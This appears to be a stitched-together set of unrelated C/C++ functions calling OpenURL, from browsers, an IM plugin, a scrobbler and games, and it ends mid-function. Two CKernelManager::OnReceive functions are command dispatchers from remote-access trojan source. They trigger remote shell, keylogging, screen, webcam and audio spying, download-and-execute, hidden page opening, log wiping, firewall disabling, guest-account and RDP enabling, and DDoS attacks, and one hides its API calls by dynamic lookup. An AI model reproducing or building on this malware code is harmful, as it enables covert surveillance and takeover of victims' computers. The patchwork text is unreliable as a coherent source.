void ContactOrDonate(HWND hwnd, int type) { switch(type) { case 1: OpenURL(hwnd, DONATE_URL); break; case 2: OpenURL(hwnd, WEBSITE_URL); break; } }
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { switch (lpBuffer[0]) { case COMMAND_LIST_DRIVE: // 文件管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false); break; case COMMAND_SCREEN_SPY: // 屏幕查看 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_WEBCAM: // 摄像头 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SHELL: // 远程sehll m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_KEYBOARD: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SYSTEM: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_DOWN_EXEC: // 下载者 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager, (LPVOID)(lpBuffer + 1), 0, NULL, true); Sleep(100); // 传递参数用 break; case COMMAND_OPEN_URL_SHOW: // 显示打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL); break; case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE); break; case COMMAND_REMOVE: // 卸载, UnInstallService(); break; case COMMAND_CLEAN_EVENT: // 清除日志 CleanEvent(); break; case COMMAND_SESSION: CSystemManager::ShutdownWindows(lpBuffer[1]); break; case COMMAND_RENAME_REMARK: SetHostID((LPCTSTR)(lpBuffer + 1)); break; case COMMAND_UPDATE_SERVER: // 更新服务端 if (UpdateServer((LPCTSTR)(lpBuffer + 1))) UnInstallService(); break; } }
void CAudioScrobbler::Handshake() { std::string username=""; for(unsigned int i = 0; i < Config->getLUsername().length(); i++) { username.append(1, tolower(Config->getLUsername().c_str()[i])); } std::string authtoken(md5sum((char*)"%s%s", username.c_str(), Config->getLPassword().c_str())); std::ostringstream query, sig; query << "method=auth.getMobileSession&username="******"&authToken=" << authtoken << "&api_key=" << APIKEY; sig << "api_key" << APIKEY << "authToken" << authtoken << "methodauth.getMobileSessionusername" << Config->getLUsername() << SECRET; std::string sighash(md5sum((char*)"%s", sig.str().c_str())); query << "&api_sig=" << sighash; OpenURL(ROOTURL, query.str().c_str()); if(_response.find("<lfm status=\"ok\">") != std::string::npos) { size_t start, end; start = _response.find("<key>") + 5; end = _response.find("</key>"); _sessionid = _response.substr(start, end-start); iprintf("%s%s", "Last.fm handshake successful. SessionID: ", _sessionid.c_str()); _authed = true; } else if(_response.find("<lfm status=\"failed\">") != std::string::npos) { CheckFailure(_response); exit(EXIT_FAILURE); } CLEANUP(); }
void BrowserWindow::OpenURLRequest( const std::string &cURL, const KParts::URLArgs& cURLArgs ) { // UpdateHistory(); // AddHistoryEntry(); OpenURL( cURL, cURLArgs ); // UpdateHistory(); }
bool CAudioScrobbler::Scrobble(centry_t* entry) { bool retval = false; if(!_authed) { eprintf("Handshake hasn't been done yet."); Handshake(); return retval; } iprintf("Scrobbling: %s - %s", entry->artist.c_str(), entry->title.c_str()); OpenURL(ROOTURL, CreateScrobbleMessage(0, entry).c_str()); if(_response.find("<lfm status=\"ok\">") != std::string::npos) { iprintf("%s", "Scrobbled successfully."); retval = true; } else if(_response.find("<lfm status=\"failed\">") != std::string::npos) { eprintf("%s%s", "Last.fm returned an error while scrobbling:\n", _response.c_str()); if(CheckFailure(_response)) Failure(); } CLEANUP(); return retval; }
void ConfirmUpdate(bool notify_all) { g_update_checking = false; if (g_result_checkupdates.empty()) { if (notify_all) wxMessageBox(_("Cannot check for new version!"), wxT("wxMEdit"), wxICON_ERROR|wxOK); return; } if (g_result_checkupdates == NO_NEW_VERSION) { if (notify_all) wxMessageBox(_("wxMEdit is already the newest version."), wxT("wxMEdit"), wxICON_INFORMATION|wxOK); return; } wxString download_page = wxT("http://wxmedit.github.io/downloads.html"); if (IsPrerelease(g_result_checkupdates)) download_page = wxT("http://wxmedit.github.io/prerelease.html"); wxString title(_("wxMEdit - New version available")); wxString msg( wxString::Format( _("wxMEdit %s is available. \nClick OK to open the download page."), wxString(g_result_checkupdates.c_str(), wxConvUTF8).c_str() ) ); if (wxOK == wxMessageBox(msg, title, wxICON_INFORMATION|wxOK|wxCANCEL)) OpenURL(download_page); }
void C4StartupAboutDlg::OnRegisterBtn(C4GUI::Control *btn) { // open hardcoded registration URL // URL needs lowercase language code, two-character code only StdStrBuf sLangCode; sLangCode.Format("%.2s", Config.General.Language); sLangCode.ToLowerCase(); OpenURL(FormatString("http://www.clonk.de/register.php?lng=%s&product=cr", sLangCode.getData()).getData()); }
NS_IMETHODIMP nsExtProtocolChannel::AsyncOpen(nsIStreamListener *listener, nsISupports *ctxt) { NS_ENSURE_ARG_POINTER(listener); NS_ENSURE_TRUE(!mWasOpened, NS_ERROR_ALREADY_OPENED); mWasOpened = true; return OpenURL(); }
// A URL has been selected from the UrlBar's dropdown list // void CBrowserView::OnUrlSelectedInUrlBar() { CString strUrl; mpBrowserFrame->m_wndUrlBar.GetSelectedURL(strUrl); if(IsViewSourceUrl(strUrl)) OpenViewSourceWindow(strUrl.GetBuffer(0)); else OpenURL(strUrl.GetBuffer(0)); }
void UVaQuoleUIComponent::ResetWebUI() { // Update transparency state SetTransparent(bTransparent); // Resize texture to correspond desired size Resize(Width, Height); // Open default URL OpenURL(DefaultURL); }
void CBrowserView::OnNavHome() { // Get the currently configured HomePage URL CString strHomeURL; CTestEmbedApp *pApp = (CTestEmbedApp *)AfxGetApp(); if(pApp) pApp->GetHomePage(strHomeURL); if(strHomeURL.GetLength() > 0) OpenURL(strHomeURL); }
ES_PutState JS_Location::SetTheURL(FramesDocument *frames_doc, DocumentReferrer &ref_url, URL &url, ES_Thread *origin_thread, BOOL only_hash) { BOOL is_reload = do_reload && !only_hash; BOOL is_replace = do_replace; do_reload = FALSE; do_replace = FALSE; URL &old_url = GetFramesDocument()->GetURL(); /* If the URLs are identical, pretend it's a reload */ if (!is_reload && !only_hash && old_url == url) { const uni_char *rel1, *rel2; rel1 = old_url.UniRelName(); rel2 = url.UniRelName(); is_reload = (!rel1 && !rel2) || (rel1 && rel2 && uni_str_eq(rel1, rel2)); } if (only_hash) { BOOL from_onload = FALSE; ES_Thread *thread = origin_thread; while (thread) { if (thread->Type() == ES_THREAD_EVENT) { DOM_Event *event = ((DOM_EventThread *) thread)->GetEvent(); if (!event->GetSynthetic() && event->GetKnownType() == ONLOAD) { from_onload = TRUE; break; } } thread = thread->GetInterruptedThread(); } OP_BOOLEAN result = frames_doc->GetDocManager()->JumpToRelativePosition(url, from_onload); PUT_FAILED_IF_MEMORY_ERROR(result); if (result == OpBoolean::IS_TRUE) return PUT_SUCCESS; } if (old_url == url && url.RelName()) is_reload = FALSE; return OpenURL(url, ref_url, is_reload, is_replace, origin_thread) ? PUT_SUCCESS : PUT_NO_MEMORY; }
//---------------------------------------------------------------------------------------- OSErr nsMacCommandLine::DispatchURLToNewBrowser(const char* url) //---------------------------------------------------------------------------------------- { OSErr err = errAEEventNotHandled; if (mStartedUp) return OpenURL(url); else { err = AddToCommandLine("-url"); if (err == noErr) err = AddToCommandLine(url); } return err; }
void CBrowserView::OnFileOpen() { char *lpszFilter = "HTML Files Only (*.htm;*.html)|*.htm;*.html|" "All Files (*.*)|*.*||"; CFileDialog cf(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, lpszFilter, this); if(cf.DoModal() == IDOK) { CString strFullPath = cf.GetPathName(); // Will be like: c:\tmp\junk.htm OpenURL(strFullPath); } }
// A new URL was entered in the URL bar // Get the URL's text from the Urlbar's (ComboBox's) EditControl // and navigate to that URL // void CBrowserView::OnNewUrlEnteredInUrlBar() { // Get the currently entered URL CString strUrl; mpBrowserFrame->m_wndUrlBar.GetEnteredURL(strUrl); if(IsViewSourceUrl(strUrl)) OpenViewSourceWindow(strUrl.GetBuffer(0)); else // Navigate to that URL OpenURL(strUrl.GetBuffer(0)); // Add what was just entered into the UrlBar mpBrowserFrame->m_wndUrlBar.AddURLToList(strUrl); }
void AboutDialog::OnCommand (int cmdId, int notifMsg) { TCHAR urlBuff [512]; switch ( cmdId ) { case IDOK: CloseDialog (IDOK); break; case IDC_ABOUT_SUPPORT_WEBSITE: OpenURL ( WebAPIFactory::GetSupportPageURL(urlBuff) ); break; case IDC_ABOUT_SHARE_APP: OpenURL ( WebAPIFactory::GetSharePageURL(urlBuff) ); break; case IDC_ABOUT_CHECK_FOR_UPDATES: OpenURL ( WebAPIFactory::GetUpdatesPageURL(urlBuff) ); break; default: wingui::Dialog::OnCommand (cmdId, notifMsg); } }
//======================================================= //Show My profile //======================================================= INT_PTR __cdecl CYahooProto::OnShowMyProfileCommand(WPARAM, LPARAM) { DBVARIANT dbv; if (getString(YAHOO_LOGINID, &dbv) != 0) { ShowError(TranslateT("Yahoo Error"), TranslateT("Please enter your Yahoo ID in Options -> Network -> Yahoo")); return 0; } char tUrl[4096]; mir_snprintf(tUrl, "http://profiles.yahoo.com/%s", dbv.pszVal); db_free(&dbv); OpenURL(tUrl, 0); return 0; }
NS_IMETHODIMP nsExtProtocolChannel::AsyncOpen(nsIStreamListener *listener, nsISupports *ctxt) { MOZ_ASSERT(!mLoadInfo || mLoadInfo->GetSecurityMode() == 0 || mLoadInfo->GetInitialSecurityCheckDone() || (mLoadInfo->GetSecurityMode() == nsILoadInfo::SEC_ALLOW_CROSS_ORIGIN_DATA_IS_NULL && nsContentUtils::IsSystemPrincipal(mLoadInfo->LoadingPrincipal())), "security flags in loadInfo but asyncOpen2() not called"); NS_ENSURE_ARG_POINTER(listener); NS_ENSURE_TRUE(!mWasOpened, NS_ERROR_ALREADY_OPENED); mWasOpened = true; return OpenURL(); }
bool CAudioScrobbler::SendNowPlaying(mpd_Song* song) { bool retval = false; if(!song || !song->artist || !song->title) return retval; char* artist = curl_easy_escape(_handle, song->artist, 0); char* title = curl_easy_escape(_handle, song->title, 0); char* album = 0; if(song->album) album = curl_easy_escape(_handle, song->album, 0); std::ostringstream query, sig; query << "method=track.updateNowPlaying&track=" << title << "&artist=" << artist << "&duration=" << song->time << "&api_key=" << APIKEY << "&sk=" << _sessionid; if(album) { query << "&album=" << album; sig << "album" << song->album; } curl_free(artist); curl_free(title); curl_free(album); sig << "api_key" << APIKEY << "artist" << song->artist << "duration" << song->time << "methodtrack.updateNowPlaying" << "sk" << _sessionid << "track" << song->title << SECRET; std::string sighash(md5sum((char*)"%s", sig.str().c_str())); query << "&api_sig=" << sighash; OpenURL(ROOTURL, query.str().c_str()); if(_response.find("<lfm status=\"ok\">") != std::string::npos) { iprintf("%s", "Updated \"Now Playing\" status successfully."); retval = true; } else if(_response.find("<lfm status=\"failed\">") != std::string::npos) { eprintf("%s%s", "Last.fm returned an error while updating the currently playing track:\n", _response.c_str()); if(CheckFailure(_response)) Failure(); } CLEANUP(); return retval; }
//======================================================= // Show buddy profile //======================================================= INT_PTR __cdecl CYahooProto::OnShowProfileCommand(WPARAM wParam, LPARAM) { char tUrl[4096]; DBVARIANT dbv; /** * We don't show profile for users using other IM clients through the IM server bridge */ if (getWord(wParam, "yprotoid", 0) != 0) { return 0; } if (getString(wParam, YAHOO_LOGINID, &dbv)) return 0; mir_snprintf(tUrl, "http://profiles.yahoo.com/%s", dbv.pszVal); db_free(&dbv); OpenURL(tUrl, 0); return 0; }
NS_IMETHODIMP XRemoteService::ParseCommand(const char *aCommand, nsIDOMWindow* aWindow) { NS_ASSERTION(aCommand, "Tell me what to do, or shut up!"); // begin our parse nsCString tempString(aCommand); // find the () in the command PRInt32 begin_arg = tempString.FindChar('('); PRInt32 end_arg = tempString.RFindChar(')'); // make sure that both were found, the string doesn't start with '(' // and that the ')' follows the '(' if (begin_arg == kNotFound || end_arg == kNotFound || begin_arg == 0 || end_arg < begin_arg) return NS_ERROR_INVALID_ARG; // truncate the closing paren and anything following it tempString.Truncate(end_arg); // save the argument and trim whitespace off of it nsCString argument(tempString); argument.Cut(0, begin_arg + 1); argument.Trim(" ", PR_TRUE, PR_TRUE); // remove the argument tempString.Truncate(begin_arg); // get the action, strip off whitespace and convert to lower case nsCString action(tempString); action.Trim(" ", PR_TRUE, PR_TRUE); ToLowerCase(action); // pull off the noraise argument if it's there. PRUint32 index = 0; PRBool raiseWindow = PR_TRUE; nsCString lastArgument; FindLastInList(argument, lastArgument, &index); if (lastArgument.LowerCaseEqualsLiteral("noraise")) { argument.Truncate(index); raiseWindow = PR_FALSE; } nsresult rv = NS_OK; /* openURL ( ) Prompts for a URL with a dialog box. openURL (URL) Opens the specified document without prompting. openURL (URL, new-window) Create a new window displaying the the specified document. */ /* openFile ( ) Prompts for a file with a dialog box. openFile (File) Opens the specified file without prompting. */ if (action.Equals("openurl") || action.Equals("openfile")) { rv = OpenURL(argument, aWindow, PR_TRUE); } /* saveAs ( ) Prompts for a file with a dialog box (like the menu item). saveAs (Output-File) Writes HTML to the specified file without prompting. saveAs (Output-File, Type) Writes to the specified file with the type specified - the type may be HTML, Text, or PostScript. */ else if (action.Equals("saveas")) { if (argument.IsEmpty()) { rv = NS_ERROR_NOT_IMPLEMENTED; } else { // check to see if it has a type on it index = 0; FindLastInList(argument, lastArgument, &index); if (lastArgument.LowerCaseEqualsLiteral("html")) { argument.Truncate(index); rv = NS_ERROR_NOT_IMPLEMENTED; } else if (lastArgument.EqualsIgnoreCase("text", PR_TRUE)) { argument.Truncate(index); rv = NS_ERROR_NOT_IMPLEMENTED; } else if (lastArgument.EqualsIgnoreCase("postscript", PR_TRUE)) { argument.Truncate(index); rv = NS_ERROR_NOT_IMPLEMENTED; } else { rv = NS_ERROR_NOT_IMPLEMENTED; } } } /* mailto ( ) pops up the mail dialog with the To: field empty. mailto (a, b, c) Puts the addresses "a, b, c" in the default To: field. */ else if (action.Equals("mailto")) { // if you prepend mailto: to the string it will be a mailto: url // and openurl should work fine. nsCString tempArg("mailto:"); tempArg.Append(argument); rv = OpenURL(tempArg, aWindow, PR_FALSE); } /* addBookmark ( ) Adds the current document to the bookmark list. addBookmark (URL) Adds the given document to the bookmark list. addBookmark (URL, Title) Adds the given document to the bookmark list, with the given title. */ else if (action.Equals("addbookmark")) { rv = NS_ERROR_NOT_IMPLEMENTED; } /* some extensions! */ /* ping() Just responds with an OK to let a client know that we are here. */ else if (action.Equals("ping")) { // the 200 will get filled in below rv = NS_OK; } /* xfeDoCommand() This is an interface to make the xfe "do stuff." Lifted from the old Netscape 4.x interface. */ else if (action.Equals("xfedocommand")) { rv = XfeDoCommand(argument, aWindow); } // bad command else { rv = NS_ERROR_FAILURE; } return rv; }
void C4UpdateDlg::RedirectToDownloadPage() { OpenURL("http://www.openclonk.org/download"); }
// 加上激活 void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { typedef LONG (WINAPI *InterlockedExchangeT) ( __inout LONG volatile *Target, __in LONG Value ); InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange"); typedef VOID (WINAPI *SleepT) ( __in DWORD dwMilliseconds ); SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep"); typedef HANDLE (WINAPI *CreateThreadT)( __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress, __in_opt LPVOID lpParameter, __in DWORD dwCreationFlags, __out_opt LPDWORD lpThreadId ); CreateThreadT pCreateThread=(CreateThreadT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateThread"); typedef BOOL (WINAPI *CloseHandleT) ( __in HANDLE hObject ); char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm); typedef BOOL (WINAPI *EnumWindowsT)( __in WNDENUMPROC lpEnumFunc, __in LPARAM lParam); EnumWindowsT pEnumWindows=(EnumWindowsT)GetProcAddress(LoadLibrary("USER32.dll"),"EnumWindows"); switch (lpBuffer[0]) { case COMMAND_ACTIVED: pInterlockedExchange((LONG *)&m_bIsActived, true); break; case COMMAND_LIST_DRIVE: // 文件管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false); break; case COMMAND_SCREEN_SPY: // 屏幕查看 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_WEBCAM: // 摄像头 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_AUDIO: // 声音监听 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SHELL: // 远程sehll m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_KEYBOARD: //键盘记录 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SYSTEM: //系统管理,包括进程,窗口 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SERMANAGER: // 服务管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SerManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_DDOS_ATTACK: { ATTACK m_Attack; memcpy(&m_Attack,lpBuffer + 1,sizeof(ATTACK)); DDOSManager m_DDOSManager(&m_Attack); } break; case COMMAND_DDOS_STOP: Stoping = FALSE; break; case COMMAND_REGEDIT: //注册表管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SYSINFO: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SysInfoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_NET_USER: // 无NET加用户 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)NETUSER, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_OPEN_PROXY: // 开启代理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)OpenProxy, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_OPEN_3389: { Open3389((LPCTSTR)(lpBuffer + 1), nSize -2); } break; case COMMAND_GUEST: // 开启GUEST账号 OpenGuest(); break; case COMMAND_STOPFIRE: // 关防火墙 StopFire(); break; case COMMAND_CHANGE_PORT: // 更改终端 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)ChangePort, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_SENDMSG: { pCloseHandle(pCreateThread(NULL,NULL,Loop_MsgBox,&lpBuffer[1],NULL,NULL)); pSleep(500); } break; case COMMAND_DOWN_EXEC: // 下载者 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager, (LPVOID)(lpBuffer + 1), 0, NULL, true); pSleep(100); // 传递参数用 break; case COMMAND_OPEN_URL_SHOW: // 显示打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL); break; case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE); break; case COMMAND_REMOVE: // 卸载, UnInstallService(); break; case COMMAND_CLEAN_EVENT: // 清除日志 CleanEvent(); break; case COMMAND_SESSION://会话管理 CSystemManager::ShutdownWindows(lpBuffer[1]); break; case COMMAND_RENAME_REMARK: // 改备注 SetHostID((LPCTSTR)(lpBuffer + 1)); break; case COMMAND_CHANGE_GROUP: // 改分组 SetInfo("Group", (LPCTSTR)(lpBuffer + 1), "BITS"); break; case COMMAND_UPDATE_SERVER: // 更新服务端 if (UpdateServer((char *)lpBuffer + 1)) UnInstallService(); break; case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包 break; case COMMAND_SORT_PROCESS: // 进程筛选 try { if (isProcesin((LPTSTR)(lpBuffer + 1))) { BYTE bToken = TOKEN_INFO_YES; m_pClient->Send(&bToken, 1); }else { BYTE bToken = TOKEN_INFO_NO; m_pClient->Send(&bToken, 1); } }catch(...){} break; case COMMAND_SORT_WINDOW: // 窗体筛选 try { strcpy(temp_proc,(LPTSTR)(lpBuffer + 1)); pEnumWindows(EnumWindowsList,0); if (proc_tag) { BYTE bToken = TOKEN_INFO_YES; m_pClient->Send(&bToken, 1); proc_tag = false; }else { BYTE bToken = TOKEN_INFO_NO; m_pClient->Send(&bToken, 1); } }catch(...){} break; } }
INT_PTR __cdecl CYahooProto::OnEditMyProfile(WPARAM, LPARAM) { OpenURL("http://edit.yahoo.com/config/eval_profile", 1); return 0; }
void BrowserWindow::MessageReceived( BMessage* pcMsg ) { switch( pcMsg->what ) { case ID_URL_CHANGED: { std::string cURL = m_pcURLView->Text(); for ( uint i = 0 ; i <= cURL.size() ; ++i ) { if ( i == cURL.size() || isalnum( cURL[i] ) == false ) { if ( i == cURL.size() || cURL[i] != ':' ) { std::string cTmp = cURL; cURL = "http://"; for ( uint j = 0 ; j < cTmp.size() ; ++j ) { if ( cTmp[j] != '/' ) { cURL.insert( cURL.end(), cTmp.begin() + j, cTmp.end() ); break; } } } break; } } m_pcHTMLPart->view()->MakeFocus(); OpenURL( cURL, KParts::URLArgs() ); //---------------------------------------------- #if 0 uint32 nEvents = 0; pcMsg->FindInt( "events", &nEvents ); if ( nEvents & os::TextView::EI_ESC_PRESSED ) { m_pcURLView->Set( m_pcHTMLPart->url().prettyURL().utf8().data() ); m_pcHTMLPart->view()->MakeFocus(); break; } if ( nEvents & os::TextView::EI_ENTER_PRESSED ) { std::string cURL = m_pcURLView->GetBuffer()[0]; for ( uint i = 0 ; i <= cURL.size() ; ++i ) { if ( i == cURL.size() || isalnum( cURL[i] ) == false ) { if ( i == cURL.size() || cURL[i] != ':' ) { std::string cTmp = cURL; cURL = "http://"; for ( uint j = 0 ; j < cTmp.size() ; ++j ) { if ( cTmp[j] != '/' ) { cURL.insert( cURL.end(), cTmp.begin() + j, cTmp.end() ); break; } } } break; } } UpdateHistory(); AddHistoryEntry(); m_pcHTMLPart->view()->MakeFocus(); OpenURL( cURL, KParts::URLArgs() ); UpdateHistory(); } #endif break; } case ID_ACTIVATE_URLEDIT: m_pcURLView->MakeFocus( true ); #if 0 m_pcURLView->SetCursor( -1, 0 ); #endif m_pcURLView->TextView()->SelectAll(); break; case ID_RELOAD: { KParts::URLArgs cArgs; cArgs.reload = true; cArgs.xOffset = m_pcHTMLPart->browserExtension()->xOffset(); cArgs.yOffset = m_pcHTMLPart->browserExtension()->yOffset(); #if 0 OpenURL( m_pcURLView->GetBuffer()[0], cArgs ); #endif OpenURL( m_pcURLView->Text(), cArgs ); break; } case ID_NEW_WINDOW: { BrowserWindow* pcNewWindow = new BrowserWindow( Frame().OffsetByCopy( 30.0f, 30.0f ), false ); pcNewWindow->Show(); #if 0 UpdateHistory(); std::vector<HistoryEntry*> cHistory = m_cHistory; cHistory.resize( m_nCurHistoryPos + 1 ); BrowserWindow* pcNewWindow = new BrowserWindow( GetFrame() + os::Point( 30.0f, 30.0f ), &cHistory, false ); pcNewWindow->GoHistory(0); pcNewWindow->Show( true ); pcNewWindow->MakeFocus( true ); #endif break; } case ID_OPEN_LINK: { BString cURL; pcMsg->FindString( "url", &cURL ); BrowserWindow* pcNewWindow = new BrowserWindow( Frame().OffsetByCopy( 30.0f, 30.0f ), false ); pcNewWindow->OpenURL( cURL.String(), KParts::URLArgs() ); pcNewWindow->Show(); #if 0 std::string cURL; pcMsg->FindString( "url", &cURL ); std::vector<HistoryEntry*> cHistory = m_cHistory; cHistory.resize( m_nCurHistoryPos + 1 ); BrowserWindow* pcNewWindow = new BrowserWindow( GetFrame() + os::Point( 30.0f, 30.0f ), &cHistory, false ); pcNewWindow->OpenURL( cURL, KParts::URLArgs() ); pcNewWindow->AddHistoryEntry(); pcNewWindow->Show( true ); pcNewWindow->MakeFocus( true ); #endif break; } case ID_SAVE_LINK: { BString cURL; pcMsg->FindString( "url", &cURL ); m_pcHTMLPart->browserExtension()->SaveURL( cURL.String(), "Save link as..." ); break; } case ID_COPY_LINK_LOCATION: { #if 0 std::string cURL; pcMsg->FindString( "url", &cURL ); os::Clipboard cClipboard; cClipboard.Lock(); cClipboard.Clear(); os::Message* pcData = cClipboard.GetData(); pcData->AddString( "text/plain", cURL ); cClipboard.Commit(); cClipboard.Unlock(); #endif break; } case ID_COPY: { #if 0 if ( m_cSelectedText.empty() ) { break; } os::Clipboard cClipboard; cClipboard.Lock(); cClipboard.Clear(); os::Message* pcData = cClipboard.GetData(); pcData->AddString( "text/plain", m_cSelectedText ); cClipboard.Commit(); cClipboard.Unlock(); #endif break; } case ID_FIND: #if 0 if ( m_pcSearchDialog == NULL ) { m_pcHTMLPart->findTextBegin(); m_pcSearchDialog = new FindDialog( os::Messenger(this), os::Message(ID_DO_SEARCH), os::Message(ID_SEARCH_CLOSED) ); m_pcSearchDialog->Show(); m_pcSearchDialog->MakeFocus(); } #endif break; case ID_DO_SEARCH: { #if 0 bool bFromTop = false; pcMsg->FindBool( "from_top", &bFromTop ); pcMsg->FindBool( "case_sensitive", &m_bSearchCaseSensitive ); pcMsg->FindString( "string", &m_cLastSearchStr ); KHTMLView* pcActiveView = dynamic_cast<KHTMLView*>(GetFocusChild()); KHTMLPart* pcPart = m_pcHTMLPart; if ( pcActiveView != NULL ) { pcPart = pcActiveView->part(); } if ( bFromTop ) { pcPart->findTextBegin(); } pcPart->findTextNext( m_cLastSearchStr.c_str(), true, m_bSearchCaseSensitive ); break; #endif } case ID_REPEAT_FIND: #if 0 if ( m_cLastSearchStr.empty() == false ) { KHTMLView* pcActiveView = dynamic_cast<KHTMLView*>(GetFocusChild()); KHTMLPart* pcPart = m_pcHTMLPart; if ( pcActiveView != NULL ) { pcPart = pcActiveView->part(); } pcPart->findTextNext( m_cLastSearchStr.c_str(), true, m_bSearchCaseSensitive ); } else if ( m_pcSearchDialog == NULL ) { m_pcHTMLPart->findTextBegin(); m_pcSearchDialog = new FindDialog( os::Messenger(this), os::Message(ID_DO_SEARCH), os::Message(ID_SEARCH_CLOSED) ); m_pcSearchDialog->Show(); m_pcSearchDialog->MakeFocus(); } break; case ID_SEARCH_CLOSED: m_pcSearchDialog = NULL; break; #endif case ID_GOHOME: OpenURL( "http://www.openbeos.org/", KParts::URLArgs() ); #if 0 UpdateHistory(); AddHistoryEntry(); OpenURL( "http://www.atheos.cx/", KParts::URLArgs() ); UpdateHistory(); #endif break; #if 0 case ID_PREV_URL: GoHistory( -1 ); break; case ID_NEXT_URL: GoHistory( 1 ); break; #endif case ID_START_DOWNLOAD: { #if 0 DownloadNode* psNode = NULL; std::string cPath; pcMsg->FindPointer( "node", (void**) &psNode ); pcMsg->FindString( "path", &cPath ); if ( psNode == NULL ) { break; // Should never happen } psNode->m_cPath = cPath; const std::string cDstDir = os::Path( cPath.c_str() ).GetDir(); try { os::FSNode cDirNode( cDstDir ); if ( cDirNode.GetDev() == psNode->m_pcTmpFile->GetDev() ) { rename( psNode->m_pcTmpFile->GetPath().c_str(), cPath.c_str() ); psNode->m_pcTmpFile->Detatch(); // Make sure the destructor don't do anything silly. } else { psNode->m_pcFile = new os::File( cPath, O_WRONLY | O_CREAT ); psNode->m_pcTmpFile->Seek( 0, SEEK_SET ); char anBuffer[32*1024]; for (;;) { int nLen = psNode->m_pcTmpFile->Read( anBuffer, sizeof(anBuffer) ); if ( nLen < 0 ) { throw os::errno_exception( "Failed to copy temporary file" ); } if ( psNode->m_pcFile->Write( anBuffer, nLen ) != nLen ) { throw os::errno_exception( "Failed to copy temporary file" ); } if ( nLen < int(sizeof(anBuffer)) ) { break; } } delete psNode->m_pcTmpFile; psNode->m_pcTmpFile = NULL; } } catch(...) { (new os::Alert( "Error: Failed to create file!", os::String().Format( "Failed to create '%s'", cPath.c_str() ), 0, "Sorry!", NULL ))->Go(NULL); } 